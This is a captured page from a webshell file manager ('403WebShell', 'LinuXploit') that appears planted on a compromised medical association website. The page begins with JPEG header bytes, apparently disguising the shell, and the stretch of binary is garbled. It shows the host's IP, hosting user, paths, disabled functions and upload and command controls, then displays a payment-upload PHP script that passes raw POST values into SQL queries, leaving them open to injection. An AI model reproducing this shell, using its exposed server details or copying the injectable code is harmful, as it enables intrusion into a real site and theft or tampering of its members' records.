JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.28  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/lama/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/superadmin/lama/upl_iuranrev2.php
<?php

require_once 'koneksi.php';



		 $npm  = $_POST['npm'];

		 $tgliuran2 = $_POST['tgliuran'];

         $nokwit	=$_POST['nokwit']; 	

        // $nominal	=$_POST['nominal']; 

 		 $awaltgliuran2 = $_POST['awaltgliuran'];

         $tglbayar2 = $_POST['tglbayar'];





		 $nomiur  = $_POST['bayar'];



       //  $nmsurat = $_POST['nm_surat'];

        // $chek = $_POST['chek'];

       //  $perihal	=$_POST['perihal']; 





    $date = new DateTime($tgliuran2);

    $tgliuran = $date->format('Y-m-d');



    $date = new DateTime($awaltgliuran2);

    $awaltgliuran = $date->format('Y-m-d');



    $date = new DateTime($tglbayar2);

    $tglbayar = $date->format('Y-m-d');



//cari periode

					$timeStart = strtotime("$awaltgliuran");

					$timeEnd = strtotime("$tgliuran");

					// Menambah bulan ini + semua bulan pada tahun sebelumnya

					$numBulan = 1 + (date("Y",$timeEnd)-date("Y",$timeStart))*12;

					// menghitung selisih bulan

					$numBulan += date("m",$timeEnd)-date("m",$timeStart);



	//$sql=mysqli_query($konek, "SELECT  kat_nm,nominal FROM  level WHERE  kat_nm='bulanan'");					

//    $u = mysqli_fetch_array($sql);

//

//    $nomiur=$u['nominal']; 



	$total5=$numBulan*$nomiur; 





	//$mbbl = number_format($total5,0,",",".");







?>



<?php

if(isset($_POST['submit'])){

 $direktori = '../anggota/kwitansi/'; //Folder penyimpanan file

 $max_size  = 1000000*3; //Ukuran file maximal 3 mb

 $nama_file = $_FILES['file']['name']; //Nama file yang akan di Upload

 $file_size = $_FILES['file']['size']; //Ukuran file yang akan di Upload

 $nama_tmp  = $_FILES['file']['tmp_name']; //Nama file sementara

 $upload = $direktori.$nama_file; //Memposisikan direktori penyimpanan dan file



	$temp = explode(".", $upload);//cari 

			$fotobaru = $direktori.$npm.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak

	      

	$fotobaru2 = $npm.round(microtime(true)) . '.' . end($temp);//fungsi untuk membuat nama acak

	//Proses akan dimulai apabila File telah dipilih sebelumnya

if($nama_file == ""){

	

	echo "<script>alert('File Gagal di Upload karena anda tidak memilih file apapun');window.history.go(-1);</script>";



}

else{

//Proses upload file jika ukuran lebih kecil dari yang di tentukan

if($file_size <= $max_size)

 {

		 

	//	$namanya= $noreg.$fileName; 

            $fileType = pathinfo($fotobaru, PATHINFO_EXTENSION); 

	 // hanya membolehkan format file tertentu 

            $allowTypes = array('jpg','png','jpeg'); 

            if(in_array($fileType, $allowTypes)){ 

	

	       (move_uploaded_file($nama_tmp, $fotobaru));



		

//Nomor kwit/noreg

				

	$day = 'REK';

					   $dayList = array(

						'REK' => 'REK',

						'AGD' => 'AGD',

						'Allegria' => 'ALG'

						);

	//nomor acak
			
    function acakCaptcha() {
        $kode = "0123456789";
    
        $pass = array(); 

        $panjangkode = strlen($kode) - 2; 
        for ($i = 0; $i < 5; $i++) {
            $n = rand(0, $panjangkode);
            $pass[] = $kode[$n];
        }
    
        return implode($pass); 
    }
    
    //hasil kode acak disimpan di $code
    $code = acakCaptcha();

    //kode acak disimpan di dalam session agar data dapat dipassing ke halaman lain
    $_SESSION["code"] = $code;				

					$query = mysqli_query($konek, "SELECT max(substr(noreg,-4,4)) as kodeTerbesar FROM d_iuran  ");

					$data = mysqli_fetch_array($query);

					$kodeBarang = $data['kodeTerbesar'];

					

					$urutan = (int) substr($kodeBarang, -4, 4);

					

					$urutan++;

					

					$huruf =  $dayList[$day];

					$waktu=date('dmy');

				//	$noreg= $huruf.$waktu."IUR".sprintf("%04s", $urutan);
					$noreg= $huruf.$waktu."IUR".$code;
							

				



				$sekarang 	= date('Y-m-d');



		if ($nokwit==''){

				$nokwit=$noreg;

			}else{

				$nokwit=$nokwit;

			}

				

				$update = mysqli_query($konek, "UPDATE h_anggota SET foto='$fotobaru2',tgliuran='$tgliuran',rev_iuran='2',tgl_rev='$sekarang',nominal_iur='$total5',tglbayar_iur='$tglbayar',validasi='valid',nokwit='$nokwit',awalmbstr='$awaltgliuran'

				WHERE npm='$npm'");

				

				//$update = mysqli_query($konek, "UPDATE d_iuran SET validasi='valid'

//				WHERE npm='$npm'");

				
		// jika ada b_inv validkan
			$sql = "select * from b_inv where npm='$npm' and validasi=''";
			$hasil = mysqli_query ($konek,$sql);
			$jumlah = mysqli_num_rows($hasil);

			if ($jumlah>0) {
				
			mysqli_query($konek, "UPDATE b_inv SET keterangan='lunas',validasi='valid',status='lunas' WHERE npm='$npm' and validasi='' ");	
				
			}


$sql=mysqli_query($konek, "SELECT * From h_anggota WHERE npm='$npm' ");					

//

$e=mysqli_fetch_array($sql);



//$npm= isset($e['npm']) ? $e['npm'] : null;



$mbstr	=$e['mbstr']; 

$npa	=$e['npa']; 				

$nmlead	=$e['nmlead']; 

$nostr	=$e['tgliuran'];					

				

			if ($nokwit==''){

				$nokwit=$noreg;

			}else{

				$nokwit=$nokwit;

			}

				

				

				

			mysqli_query($konek, "INSERT INTO d_iuran(npm,tgl_reg,nmlead,tgl_awal,tgl_akhir,nom_iur,jenis,nostr,mbstr,status,stat_ang,tglbayar_iur,npa,validasi,foto,noreg,nokwit,periode,nominal)

			values('$npm','$sekarang','$nmlead','$awaltgliuran','$tgliuran','$total5','iuran','$nostr',

			'$mbstr','update','anggota','$tglbayar','$npa','valid','$fotobaru2','$noreg','$nokwit','$numBulan','$nomiur')");





	

				

	//Buat buku piutang

				// Membuat Array untuk menampung bulan bahasa indonesia

						$bulanIndo = array(

							'01' => 'Januari',

							'02' => 'Februari',

							'03' => 'Maret',

							'04' => 'April',

							'05' => 'Mei',

							'06' => 'Juni',

							'07' => 'Juli',

							'08' => 'Agustus',

							'09' => 'September',

							'10' => 'Oktober',

							'11' => 'November',

							'12' => 'Desember'

						);

					//Buat catatan pemb			

				//$spp='30000';

			

				

				//	$tahun=date("Y",strtotime($awaltgliuran)); 

				

				     $awaltempo= $_POST['awaltgliuran'];

				

					      for($i=0; $i<$numBulan; $i++){

									//membuat tanggal jatuh tempo nya setiap tanggal 10

									$jatuhtempo = date("Y-m-d", strtotime("+$i month", strtotime($awaltempo)));

									$bulan = $bulanIndo[date('m', strtotime($jatuhtempo))]." ".date('Y',strtotime($jatuhtempo));

							  

							       $tahun=date("Y",strtotime($jatuhtempo));



									mysqli_query($konek, "INSERT INTO d_bulan(noreg,npm,nama,jatuhtempo,bulan,jumlah,tahun,status)

												values('$noreg','$npm','$nmlead','$jatuhtempo','$bulan','$nomiur','$tahun','valid')");   

							  

							  

								}

				

				

				

				

                 header("location:upload_kwt2.php?npm=$npm&noreg=$noreg");					   



									

			

				

				

				

				

		  }else{

			 // echo "File ".$nama_file." Gagal diupload, format !";

	      echo "<script>alert('File Format : jpg, jpeg atau png');window.history.go(-1);</script>";

			}

			 }

			else

			{

 

	      echo "<script>alert('Gagal upload MAX File : 3 MB.');window.history.go(-1);</script>";

	

			}}}

			else

			{

          echo "Harus melalui Form Upload sebelum ke halaman ini!";

	      echo "<script>alert('Gagal');window.history.go(-1);</script>";

}

?>  

Youez - 2016 - github.com/yon3zu
LinuXploit